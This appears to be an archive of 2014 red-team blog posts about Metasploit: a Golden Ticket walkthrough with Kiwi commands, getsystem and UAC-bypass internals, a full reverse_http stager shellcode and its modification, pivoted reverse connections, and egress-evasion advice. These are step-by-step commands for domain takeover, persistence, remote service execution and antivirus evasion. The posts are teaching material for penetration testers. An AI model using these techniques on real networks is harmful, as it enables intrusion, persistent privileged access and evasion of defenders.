Archive for the ‘metasploit framework’ Category

h1

That was a fun fire drill…

August 18, 2014

Last week saw the release of Metasploit 4.10. Those who use Armitage and Cobalt Strike noticed that neither tool worked after running msfupdate on Kali Linux. That’s resolved now. Last night, I pushed Armitage and Cobalt Strike updates to fix the database.yml not found issue AND to make both tools compatible with Metasploit 4.10’s new database scheme for credentials. The latter was not a one-day change.

In this post, I’d like to share how I manage Metasploit Framework updates, my expectations for you, and what to expect from me the next time an incompatibility arises.

The Metasploit Framework is a core dependency for Armitage and Cobalt Strike. Some of you like to update this dependency very regularly. I don’t fault you for this. Know that with each update, there’s a possibility that Armitage and Cobalt Strike could break. This doesn’t happen often, but the possibility is still there.

To protect against this, I bless a particular Metasploit version with each release of Cobalt Strike and Armitage. I document this in the Cobalt Strike release notes and Armitage change log. This is the version of the Metasploit Framework that I QA’d Cobalt Strike against and certify as functional. I don’t always certify the latest version of the Metasploit Framework either. Sometimes, I find a framework bug that I consider a show stopper. At those times, I dig to find out which commit caused that bug. I report it to the Metasploit Framework team. I then QA an older version of the Metasploit Framework and certify my tools against it.

In general, if you use Cobalt Strike, you should use the version of the Metasploit Framework that I last blessed. This will help you avoid surprises. The quick-msf-setup script included with Cobalt Strike sets up an environment that went through my QA process.

Kali Linux users are a special case. Kali Linux users update the framework with msfupdate. This pulls the latest stable build of the Metasploit Framework blessed by Rapid7. Generally, this isn’t a problem and these updates work great. Last week was an exception.

If a Metasploit update impacts Cobalt Strike in a big way, I will communicate with you as soon as I know about it. My vehicle to do this is the Cobalt Strike Technical Notes mailing list [signup at the top]. I published a note about Metasploit 4.10 to the list on Thursday. I also announced my 4.10-compatible update to this list today. If you want to hear from me, I recommend that you sign up for that list.

If you’re an Armitage user, know this: I keep Armitage and Cobalt Strike’s codebases in sync. I have a good process to do this. If there’s a Metasploit change that affects both tools, I will update both tools at the same time. The latest Armitage version works with Metasploit 4.10 as well. The package is in Kali Linux now. Use apt-get update to get it.

h1

Meterpreter Kiwi Extension: Golden Ticket HOWTO

May 14, 2014

Mimikatz is a rapidly evolving post-exploitation toolkit by Benjamin Delpy. I call it a post-exploitation toolkit because it has a lot of features, far beyond the ability to dump plain-text passwords.

One of the interesting features in Mimikatz 2.0 is its ability to generate a Kerberos ticket for a domain administrator with a lifetime of 10 years. This Kerberos Golden Ticket will continue to work, even if the user it’s tied to changes their password. The only way to invalidate these golden tickets is to change the krbtgt user’s password on the domain controller.

Mimikatz became a Meterpreter extension in 2013, giving Metasploit Framework users the ability to use it without touching disk. Mimikatz 2.0 is a significant update to the original Mimikatz and it is available in Meterpreter as the Kiwi extension. The Kiwi extension was added to the Metasploit Framework by TheColonial.

In this post, I’ll take you through how to use the Kiwi extension to generate a golden ticket, apply it to your session, and use your rights to get access to other hosts.

This tutorial is written for Meterpreter users. If you’d like to use this technique with Mimikatz 2.0, consult the mimikatz – Golden Ticket tutorial written by Balazs Bucsay.

Generate the Golden Ticket

To generate a golden ticket, you will need to get four items:

  • the account name of a domain administrator
  • the domain name
  • the SID for the domain
  • the password hash of the krbtgt user from the Domain Controller

The first two items are easy. On my test domain, the domain administrator user is Administrator. The domain name is CORP. I’ll trust that you can find these values on your domain.

An easy way to get the SID for a domain is to open a command shell and type whoami /user. I assume that you’re typing this from the context of an account that’s part of the domain you’re interested in. This command will output a SID for the current user. If you drop the last segment of the user’s SID (-####); the remaining part is the domain’s SID.

sidlookup

We also need the password hash of the krbtgt user from the domain controller. You may obtain this password hash with Meterpreter’s hashdump command or the smart_hashdump module.

krbtgthash

Now that we have these critical pieces of information, let’s generate a golden ticket. As with all things Mimikatz, you will want to migrate Meterpreter to a process that matches the native architecture. If the domain controller is a 64-bit system, migrate Meterpreter to a 64-bit process.

To use Mimikatz 2.0, you will need to load the Kiwi extension. Type use kiwi to do this.

To generate the golden ticket, we will use the golden_ticket_create command. Here’s the syntax to use it:

golden_ticket_create 
          -u [user]
          -d [domain]
          -k [password hash]
          -s [domain SID]
          -t [/path/to/golden.tkt]

This command will generate our Kerberos ticket with a lifetime of 10 years! This ticket will live on our local system in the file we specify with the –t flag. This file is particularly dangerous and you must protect it. As we will see in a moment, this file is our ticket to domain administrator rights when we need them in the future.

generateticket

Apply the Golden Ticket

Time passes. We lose access to our target network. We’re OK with that. After some more time, we decide to re-establish our access. We send a phish and we land ourselves on a workstation.

We may now use our Golden Ticket to gift ourself Domain Admin rights in this new session. We do not need SYSTEM or local administrator rights to do this. First, load Mimikatz 2.0 with the use kiwi command in Meterpreter.

Use the kerberos_ticket_use command to apply the ticket to the current session.

kerberos_ticket_use [/path/to/golden.tkt]

At this time, you now have a Kerberos ticket for a Domain Administrator. Use whoami in a command shell to see who you (still) are. Use klist in a command shell to verify that the Kerberos ticket is associated with your session. You should see an End Time that’s ten years from when you generated the file.

klist

Using Your Rights

A ticket associated with your session is not the same thing as an impersonated token. Your session continues to run in the context of its original user. When you try to access some shared resource, Windows will use your “Golden Ticket” to request a ticket to interact with the other resource. In my experiments, I found that if I interact with a system using its IP address, I do not get access. If I interact with a system using its NetBIOS name, things work. I’ll clarify this with an example.

When I manage to steal an identity on a network, the first thing I do is check where it’s a local administrator. I do this by trying to interact with an admin-only share on a remote system. For example:

dir \\10.10.10.3\C$

If I apply a Golden Ticket to my session, the above will come back with access denied. If I use the NetBIOS name for the same host, then everything works as expected:

dir \\DC\C$

If I want access to that DC, I simply need to copy a file over and schedule it to run. Cobalt Strike users may use Attacks -> Packages -> Windows Executable to generate an AV-safe Windows Service EXE.

To upload a file to another host via Meterpreter:

upload /root/path/to/your.exe \\\\DC\\C$\\windows\\temp

This command will upload the file you specify to c:\windows\temp on the host you specify. Make sure you escape the backslashes when you specify a UNC path as an upload destination .

From a command shell, use sc to create a service on the remote system and start it:

sc \\DC create blah binpath= c:\windows\temp\your.exe
sc \\DC start blah

You now have access to the domain controller. There are other ways to abuse trust to start a process on a remote system and last week’s blog post went over a number of them.

Persistent Privileged Access

When I replicate an actor with long-term persistence, I like to live on workstations and other non-important assets. I don’t like to drop malware on key servers like the Domain Controller. Skilled network defense teams usually watch these assets well. They can (and should!) do things on these servers that don’t scale well to the rest of the enterprise.

When I gain access to a key server, I tend to rely on harvested credentials and password hashes to regain it later. During exercises, red teams also like to introduce mis-configurations to secure future access to these servers (e.g., Sticky Keys).

I see the Golden Ticket as a beautiful persistence opportunity. With the Golden Ticket, I now have the opportunity to turn a short window of access to a domain controller into the assurance that I may control my target’s enterprise at will.

The Golden Ticket is a double-edged sword. Generate it once and you have persistent access to higher privileges. Beware though–once you create this Golden Ticket, it becomes a liability. If you fail to secure this file properly, you may inadvertently give someone else the literal key to the kingdom.

h1

What happens when I type getsystem?

April 2, 2014

Meterpreter’s getsystem command is taken for granted. Type getsystem and magically Meterpreter elevates you from a local administrator to the SYSTEM user. What’s really happening though?

The getsystem command has three techniques. The first two rely on named pipe impersonation. The last one relies on token duplication.

meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h        Help Banner.
    -t   The technique to use. (Default to '0').
		0 : All techniques available
		1 : Service - Named Pipe Impersonation (In Memory/Admin)
		2 : Service - Named Pipe Impersonation (Dropper/Admin)
		3 : Service - Token Duplication (In Memory/Admin)

Let’s go through them:

Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\\.\pipe\[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.

Technique 2 is like technique 1. It creates a named pipe and impersonates the security context of the first client to connect to it. To create a client with the SYSTEM user context, this technique drops a DLL to disk(!) and schedules rundll32.exe as a service to run the DLL as SYSTEM. The DLL connects to the named pipe and that’s it. Look at elevate_via_service_namedpipe2 in Meterpreter’s source to see this technique.

As the help information states, this technique drops a file to disk. This is an opportunity for an anti-virus product to catch you. If you’re worried about anti-virus or leaving forensic evidence, I’d avoid getsystem –t 0 (which tries every technique) and I’d avoid getsystem –t 2.

Technique 3 is a little different. This technique assumes you have SeDebugPrivileges—something getprivs can help with. It loops through all open services to find one that is running as SYSTEM and that you have permissions to inject into. It uses reflective DLL injection to run its elevator.dll in the memory space of the service it finds. This technique also passes the current thread id (from Meterpreter) to elevator.dll. When run, elevator.dll gets the SYSTEM token, opens the primary thread in Meterpreter, and tries to apply the SYSTEM token to it.

This technique’s implementation limits itself to x86 environments only. On the bright side, it does not require spawning a new process and it takes place entirely in memory.

Let’s say techniques 1-3 fail. You can always fall back to getting system by hand. All of these techniques rely on your ability, as a privileged user, to create or inject into a service. If these techniques fail, generate an executable for your payload and use sc or at to run it as SYSTEM. There you go, you’ve got system.

h1

User Account Control – What Penetration Testers Should Know

March 20, 2014

UAC is User Account Control. Introduced in Windows Vista, UAC is a collection of technologies that make it convenient possible to use Windows without administrator privileges and elevate your rights when needed. UAC has a lot of moving parts and encompasses a lot of things.

This post focuses on Windows Integrity levels and UAC elevation prompts. I will first explain some UAC concepts and then dive into three attacks to get past UAC.

Process Integrity Levels

In Windows Vista and later, processes run at three different levels of integrity: high, medium, and low. A high integrity process has administrator rights. A medium integrity process is one that runs with standard user rights. A low integrity process is very restricted.

A low integrity process can not write to the registry and it’s limited from writing to most locations in the current user’s profile. Protected Mode Internet Explorer runs with low integrity. The idea is to limit the amount of damage an attacker may do if they exploit the browser.

Most desktop applications run in a medium integrity process, even if the current user is a local administrator. Use Process Explorer to see which Integrity level your programs are running at.

procexp

UAC Settings

To perform a privileged action, a program must run another program and request the high integrity level at that time. If the user is an administrator, what happens next will depend on their UAC settings. There are four UAC settings:

Always Notify. This setting is the highest UAC setting. It will prompt the user when any program, including a built-in Windows program wants higher privileges.

Notify me only when programs try to make changes to my computer. This is the default UAC setting. This setting does not prompt the user when some built-in Windows program want higher privileges. It will prompt the user when any other program wants higher privileges. This distinction is important and it plays into the UAC bypass attack that we will cover in a moment.

Notify me only when programs try to make changes to my computer (do not dim my desktop). This is the same as the default setting, except the user’s desktop does not dim when the UAC elevation prompt comes up. This setting exists for computers that lack the computing power to dim the desktop and show a dialog on top of it.

Never notify. This option takes us back to life before Windows Vista. On Windows 7, if a user is an administrator, all of their programs will run with high integrity. On Windows 8, programs run at the medium integrity level, but anything run by an Administrator that requests elevated rights gets them without a prompt.

If the user is not an administrator, they will see a prompt that asks for the username and password of a privileged user when a program tries to elevate. Microsoft calls this “over the shoulder” elevation as someone is, presumably, standing over the shoulder of the user and typing in their password. If the UAC settings are set to Never Notify, the system will automatically deny any requests to elevate.

Who Am I?

When I get a foothold from a client-side attack, I have a few questions I like to answer right away. First, I like to know which user I’m currently executing code as. Second, I like to know which rights I have. With UAC this becomes especially complicated.

One way I like to sort myself out is with the Windows command: whoami /groups.

This command will print which groups my current user belongs to.

This command will also print which integrity level my command ran with. If my command ran in a high integrity context, I will see the group Mandatory Label\High Mandatory Level. This means I have administrator rights.

17.26.20 cmd_exe_2320_2

If my command ran in a medium integrity context, I will see the group Mandatory Label\Medium Mandatory Level. This means I have standard user rights.

17.26.31 cmd_exe_3588_1

RunAs

If I find myself in a medium integrity process run by a user in an administrators group, there is potential to elevate from standard user rights to administrator user rights. One option is to use the ShellExecute function with the runas verb. This will run a program and request elevated rights.

If UAC is set to anything other than Never Notify, the user will see a prompt that asks them if they would like to allow the action to happen. This is not completely implausible. Oracle’s Java Updater randomly prompts me all of the time.

The Metasploit Framework’s exploit/windows/local/ask module by mubix implements this attack for you. Make sure you set EXE::Custom to avoid anti-virus!

javaupdater

If the user accepts the prompt, the system will run my program in a high integrity context. Remember, medium integrity is standard user rights. High integrity is administrator rights and this is what we’re after.

Bypass UAC

The RunAs option prompts the user and that’s an opportunity to get caught. We want a way to spawn a high integrity process from a medium integrity process without a prompt. Fortunately, there is a way to do this, it’s the bypass UAC attack.

This attack comes from Leo Davidson who made a proof-of-concept for it in 2009. David Kennedy and Kevin Mitnick popularized this attack in a 2011 DerbyCon talk. They also released the exploit/windows/local/bypassuac Metasploit Framework module that uses Leo’s proof-of-concept for the heavy lifting.

The bypass UAC attack requires that UAC is set to the default Notify me only when programs try to make changes to my computer. If UAC is set to Always Notify, this attack will not work. This attack also requires that our current user is in an administrators group.

Bypass UAC: How It Works

This is a fascinating attack whose inner workings are taken for granted. Please allow me the blog space to describe it in depth:

Our story starts with COM, the Component Object Model in Windows. COM is a way of writing components that other programs may use and re-use. One of the benefits of COM is that it’s language neutral. I find it extremely complicated and unappealing to work with. I suspect others share my feelings.

Some COM objects automatically elevate themselves to a high integrity context when run from a program signed with Microsoft’s code signing certificate. If the same COM object is instantiated from a program that was not signed by Microsoft, it runs with the same integrity as the current process.

The COM distinction between Microsoft and non-Microsoft programs has little meaning though. I can’t create a COM object in a high integrity context  because my programs are not signed with Microsoft’s certificate. I can spawn a Microsoft-signed program (e.g., notepad.exe) and inject a DLL into it though. From this DLL, I may instantiate a self-elevating COM object of my choice. When this COM object performs an action, it will do so from a high integrity context.

Leo’s Bypass UAC attack creates an instance of the IFileOperation COM object. This object has methods to copy and delete files on the system. Run from a high integrity context, this object allows us to perform a privileged file copy to any location on the system.

We’re not done yet! We need to go from a privileged file copy to code execution in a high integrity process. Before we can make this leap, I need to discuss another Windows 7 fun fact.

Earlier, we went over the different UAC settings. The default UAC setting will not prompt the user when some built-in Windows programs try to elevate themselves. More practically, this means that some built-in Windows programs always run in a high integrity context.

These programs that automatically elevate have a few properties. They are signed with Microsoft’s code signing certificate. They are located in a “secure” folder (e.g., c:\windows\system32). And, they request the right to autoElevate in their manifest.

We can find which programs autoElevate themselves with a little strings magic:

cd c:\windows\
strings –s *.exe | findstr /i autoelevate

Now, we know which programs automatically run in a high integrity context AND we have the ability to perform an arbitrary copy on the file system. How do we get code execution?

We get code execution through DLL search order hijacking. The public versions of the bypass UAC attack copy a CRYPTBASE.dll file to c:\windows\system32\sysprep and run c:\windows\system32\sysprep.exe. When sysprep.exe runs it will search for CRYPTBASE.dll and find the malicious one first.

Because sysprep.exe automatically runs in a high integrity context (when UAC is set to default), the code in the attacker controlled CRYPTBASE.dll will execute in this high integrity context too. From there, we’re free to do whatever we like. We have our administrator privileges.

Holy Forensic Artifacts Batman!

I mentioned earlier that the Metasploit Framework’s bypassuac module uses Leo Davidson’s proof-of-concept. This module drops several files to disk. It uses Leo’s bypassuac-x86.exe (and bypassuac-x64.exe) to perform the privileged file copy from a medium integrity context. It also drops a CRYPTBASE.dll file to disk and  the executable we want to run.

This module, when run, also creates a tior.exe and several w7e_*.tmp files in the user’s temp folder. I have no idea what the purpose of these files are.

When you use this module, you control the executable to run through the EXE::Custom option. The other artifacts are put on disk without obfuscation. For a long time, these other artifacts were caught by anti-virus products. A recent commit to the Metasploit Framework strips several debug and logging messages from these artifacts. This helps them get past the ire of anti-virus, for now.

bewareav

A better approach is to use a module that has as little on-disk footprint as possible. Fortunately, Metasploit contributor Ben Campbell (aka Meatballs) is here to save the day. A recent addition to the Metasploit Framework is the exploit/windows/local/bypassuac_inject module.  This module compiles the UAC bypass logic into a reflective DLL. It spawns a Microsoft-signed program and injects the UAC bypass logic directly into it. The only thing that needs to touch disk is the CRYPTBASE.dll file.

Bypass UAC on Windows 8.1

In this post, I’ve focused heavily on Windows 7. Leo’s proof-of-concept and the bypassuac modules in the Metasploit Framework do not work on Windows 8.1. This is because the DLL hijacking opportunity against sysprep.exe does not work in Windows 8.1. The Bypass UAC attack is still possible though.

A few releases ago, I added bypassuac to Cobalt Strike’s Beacon. I do not invest in short-term features, so I had to convince myself that this attack had a viable future. I audited all of the autoElevate programs on a stock Windows 8.1 to find another DLL hijacking opportunity. I had to find a program that would load my DLL before displaying anything to the user. There were quite a few false starts. In the end, I found my candidate.

Beacon’s Bypass UAC command is similar to Ben Campbell’s, it performs all of the UAC bypass logic in memory. Beacon’s UAC bypass also generates an anti-virus safe DLL from Cobalt Strike’s Artifact Kit. Beacon’s UAC bypass checks the system it’s running on too. If it’s Windows 7, Beacon uses sysprep.exe to get code execution in a high integrity context. If it’s Windows 8, it uses another opportunity.

If you’re having trouble with the alternatives, Beacon’s version of this attack is an option.

Bypass UAC on Windows Vista

The Bypass UAC attack does not work on Windows Vista. In Windows Vista, the user has to acknowledge every privileged action. This is the same as the Always Notify option in Windows 7 and later. The UAC settings in Windows 7 came about because UAC became a symbol of what was “wrong” with Windows Vista. Microsoft created UAC settings and made some of their built-in programs auto-elevate by default to prompt the user less often. These changes for user convenience created the loophole described in this post.

Lateral Movement and UAC

The concept of process integrity level only applies to the current system. When you interact with a network resource, your access token is all that matters. If your current user is a domain user and your domain user is a local administrator on another system, you can get past UAC. Here’s how this works:

You may use your token to interact with another system as an administrator. This means you may copy an executable to that other system and schedule it to run. If you get access to another system this way, you may repeat the same process to regain access to your current system with full rights.

You may use the Metasploit Framework’s exploit/windows/local/current_user_psexec to do this.

Summary

These UAC bypass attacks are among my favorite hacker techniques. They’re a favorite because they take advantage of a design loophole rather than a fixed-with-the-next-update memory corruption flaw. In theory, we will have these attacks for a long time.

h1

Modifying Metasploit’s Stager Shellcode

February 12, 2014

If you’ve ever had to change a module in the Metasploit Framework, you know the go to place is the modules/ directory off of the Metasploit Framework’s root folder.

Recently, I had to modify the Metasploit Framework’s reverse_http stager. It currently sends a blank User-Agent. This is a problem because a blank User-Agent will not get through proxy servers that whitelist browsers. It’s a trade-off though. Using a blank User-Agent keeps this stager small and compatible with more exploits.

I opened up modules/payloads/stagers/windows/reverse_http.rb and I was greeted with the following:

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse HTTP Stager',
      'Description'   => 'Tunnel communication over HTTP',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseHttp,
      'Convention'    => 'sockedi http',
      'Stager'        =>
        {
          'Offsets' =>
            {
              # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
              # 'EXITFUNC' => [ 290, 'V' ],
              'LPORT'    => [ 190, 'v' ], # Not a typo, really little endian
            },
          'Payload' =>
              "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
              "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
              "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
              "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
              "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
              "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
              "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
              "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
              "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
              "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
              "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
              "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
              "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
              "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
              "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
              "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
              "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
              "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
              "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
              "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
              "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
        }
      ))
  end

I have a pretty reasonable background in many development situations. I have two rules: I won’t work in a programming environment that requires IDE generated XML to get things done (without a lot of swearing). And, I won’t try to hot-patch a binary blob when it’s in that form.

Fortunately, my pressing need did not require me to break either rule. I was able to stroll to the external/source/shellcode/windows/x86 folder in the Metasploit Framework. This is where the Metasploit Framework stores the source code for its shellcode. Even better, this code is split up such that common pieces are in their own files and files that use them include them directly. All of the code here is also well commented. This is about as clean and maintainable as shellcode gets.

My goal is to change the http stager though. So, I went to the stager_reverse_http.asm file in external/source/shellcode/windows/x86/src/stager first.

  cld                    ; Clear the direction flag.
  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start:                   ;
  pop ebp                ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_http.asm"
  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.

Here, I saw that I would need to look in another file. I then took a look at the block_reverse_http.asm file in external/source/shellcode/windows/x86/src/block/. Bingo. I found my file.

Next, I made my changes. Adding a User-Agent to the HTTP stager isn’t too bad. Here’s my .diff file to do it:

--- external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+++ external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
@@ -16,14 +16,19 @@ load_wininet:
   push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
   call ebp               ; LoadLibraryA( "wininet" )

+  call internetopen      ; jump!
+
+useragent:
+  db "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", 0x00
+
 internetopen:
+  pop ecx                ; pointer to User-Agent string
   xor edi,edi
   push edi               ; DWORD dwFlags
   push edi               ; LPCTSTR lpszProxyBypass
   push edi               ; LPCTSTR lpszProxyName
   push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer
-  push esp               ; LPCTSTR lpszAgent ("\x00")
+  push ecx               ; LPCTSTR lpszAgent (user agent)
   push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
   call ebp

We’re almost done. We need to assemble the new stager with the changes and update the reverse_http.rb file in the payloads folder. Fortunately, the Metasploit Framework includes a Python(!) script to assemble the final shellcode product. Change to the external/source/shellcode/windows/x86/ folder and run:

python build.py stager_reverse_http

This build script output the assembled stager in a form that I pasted back to the original stager file. It also output the offset for LPORT as LEPort Offset.

I had to update the LPORT Offset in the stager  too. This is specified in the 'LPORT' => [ 190, 'v' ] line in the payload module. I changed the 190 to the LEPort value provided by build.py.

In this post, I took you through how to change the shellcode for a Metasploit Framework stager. I had to change the reverse_http stager to help a custom payload get past the proxy issue I described earlier. Regardless of the example change I used, you now know where source code to the Metasploit Framework’s stagers live, how to change a stager, how to build your changes, and make the framework use those changes.

h1

Reverse Meterpreter Connect-backs through a Compromised Host

November 26, 2013

<update 03:30pm> I’ve had some feedback that this post describes a concept that is too basic to put into blog form. I can see where this confusion may occur. Most literature that describes pivoting through Meterpreter, shows how to setup a payload connection that goes through Meterpreter (e.g., a bind payload). What isn’t well known or documented, is the Metasploit Framework’s ability to setup a connection that calls home to you through a Meterpreter pivot (e.g., a reverse payload bounced through a pivot host). This nuance is important.

Let’s say I have admin user credentials for a server that can’t egress out of the network and connect to me. This server has a host-based firewall as well. Only port 445 is allowed in. If I try to deliver a bind payload, my attempt to connect to the host to establish the session will get stopped. If I try to setup a reverse connection, directly to my host on the internet, this will fail too–because the host can’t egress and connect to me. What else do I do? I could try to schedule a task to drop the firewall on the server (with psexec_command). I’ve done this. In some cases though, this might generate an alert that draws unwanted attention to my activity. The desirable solution is to compromise the server (172.16.48.3) and send the reverse connection through an already compromised host (172.16.48.81), before it reaches me. This is what I describe how to do in this blog post.</update>

reversecallback

Here’s how to do it:

First, you need to compromise a system and get Windows Meterpreter onto the system. However you do it is fine with me.

Next, you need to setup a pivot into the target network. Here’s how to do it:

20.57.17 Console

Notice that 172.16.48.81 is my initial compromise and pivot host.

Last, you need to exploit another system and setup the reverse connect back accordingly. Ask yourself: how would I do this? Do you have an answer? Let’s see if you’ve arrived at the correct one.

Setup the exploit as you would normally. Next, set LHOST to the IP address of the compromised system that is also your pivot point. Change LPORT as well. Now, fire the exploit.

reverseconnectpivot

Notice that the Metasploit Framework recognizes the situation and sets up a reverse port forward for you. This is indicated by the string “Started reverse handler on [compromised host] via the meterpreter on session [pivot session]“. If your exploit fired correctly, you will have a session reverse connected through your compromised system.

Here’s the output of netstat on the compromised system:

20.59.30 cmd_exe_2624_2

Pretty neat.

h1

Evade Egress Restrictions with Staged Payloads

November 15, 2013

Sometimes, it’s easy to get code execution in a network, but very difficult to egress out of it. When you are an external actor trying to get a foothold, it’s important that your attack package use a payload that’s likely to leave your target’s network. If you can’t get out, all of your work is wasted.

egress_blocked

Payloads in the Metasploit Framework are staged. This means that the payload is delivered in pieces. The first piece, known as the stager, connects to you, the attacker, and downloads the second piece, known as the stage. Once the stage is downloaded, the stager executes it.

The Metasploit Framework’s stagers are compatible with different payload options. For example, the Metasploit Framework’s reverse_http stager can deliver Meterpreter or Cobalt Strike’s Beacon.

If your stager can not get past egress filters to download a payload, then your payload will not execute. This blog post focuses on how to get past egress restrictions with a stager.

Egress Assumptions

Some networks are wide open. If you’re dealing with an open network, then this blog post is of little use to you. Here’s what you can expect in a modern enterprise:

  • Default policy is to deny all outbound connections
  • Allowed outbound connections must go through a proxy
  • Outbound connections must conform to the expected protocol
  • Outbound connections must pass other checks as well.

With these assumptions in mind, let’s talk about the different Metasploit Framework stagers and how they apply.

Reverse TCP Stagers

The reverse_tcp stager establishes a connection to the attacker on an arbitrary port and downloads the payload.

A variation of the reverse_tcp stager is the reverse_tcp_allports stager. This stager will attempt to connect back to the attacker on port 1, then port 2, port 3, so on and so forth. Once it establishes a connection, it will download the payload and pass control to it. From a network security monitoring point of view, this looks like an attempted port scan from a workstation to an internet host. If your goal is to avoid tripping alarms, I highly recommend that you avoid this stager.

Another variation is the reverse_tcp_dns stager. Contrary to some beliefs, this is NOT a stager to use a Metasploit Framework payload over DNS. The reverse_tcp_dns stager allows you to specify a fully qualified domain name as the LHOST value the stager should connect to.

Our assumptions immediately rule out use of these stagers. If you want to get past tough egress restrictions, forget these stagers.

HTTP and HTTPS Stagers

The Metasploit Framework’s reverse_http  stager makes an HTTP GET request to an attacker controlled system to download the payload stage. The reverse_http stager uses the WinINet API to communicate. WinINet is the same library Internet Explorer uses to fulfill requests.

egress_good

The reverse_https is similar to the reverse_http stager. The main difference is that the reverse_https stager uses SSL, where reverse_http does not.

Proxy (No Authentication)

In our assumptions, all outbound connections must go through a proxy of some sort. The reverse_http stager will pick up the user’s proxy settings by default. This is thanks to WinINet.

If the proxy server requires no authentication, the HTTP and HTTPS stagers will go right through it.

Proxy (NTLM Authentication)

If the proxy server requires NTLM authentication, the HTTP and HTTPS stagers will usually go right through it. There is a caveat.

For WinINet to authenticate to a proxy server, it needs a valid domain user’s token. If your stager runs as a domain user, then you’re all set. If your stager runs as SYSTEM, then you have a problem. The SYSTEM token means nothing to another system on the domain.  If WinINet tries to authenticate with this token, it will fail.

WinINet is also not designed for programs run as a service. When a program runs as a service the proxy settings are not available to WinINet.

These caveats are important to know. Some persistence techniques will automatically run your code as SYSTEM or as a service. The Metasploit Framework’s PsExec modules will run your payload as SYSTEM. It’s a shame to set up persistence or PsExec to a host, but never get a session, because of a WinINet limitation.

These limitations are known and they’re by design. WinINet is made for use by Windows desktop applications. For Windows services, the correct library to use is WinHTTP. WinHTTP is another internet communication library in Windows. There is no WinHTTP-based stager or payload in the Metasploit Framework.

Proxy (Static Username/Password)

If the proxy server requires a static username and password to get out, you’re in trouble. The Metasploit Framework’s reverse_http stager will not prompt the user for this information or pick up on the cached values.

There is a reverse_https_proxy stager in the Metasploit Framework. This stager allows the attacker to supply a known username and password to get out through a proxy server.

Protocol Checks

Thanks to WinINet, the reverse_http and reverse_https stager will pass basic protocol checks. To a proxy server, the traffic from these stagers will look like valid traffic. That said, there are a few other checks that may bite you.

FQDN Checks

Some proxy devices have an option to block URLs that reference an IP address directly. This closes a potential loophole to get access to restricted websites. If you plan to use the HTTP or HTTPS stagers, I recommend that you make sure LHOST is set to a fully qualified domain name, not your IP address.

User-Agent Checks

The Metasploit Framework’s HTTP and HTTPS stagers specify an empty User-Agent string. I assume that this to keep these stagers small. Some HTTP proxy devices include a Browser Check feature. This feature will block HTTP requests with User-Agent strings that are not present in an allow list. If this option is on, it may hurt your ability to stage a payload with the reverse_http stager.

The reverse_https stager is immune to most checks like this. When an HTTPS request goes through a proxy server, the client tells the proxy server which host and port to connect to. From that point, the proxy server relays the SSL encrypted traffic between the client and the requested server, with no knowledge of the content of the conversation. There are exceptions to this, but they’re rarer.

DNS Stager

dns_txt_query_exec is a Metasploit Framework module that demonstrates how to download code over DNS and execute it.

Cobalt Strike includes a heavily modified payload stager based on the dns_txt_query_exec module. These changes add resiliency to the stager (DNS requests do fail sometimes!) and make it capable of downloading payloads larger than 25KB. Cobalt Strike also includes a DNS server to automatically speak this staging protocol without forcing the user to create records by hand.

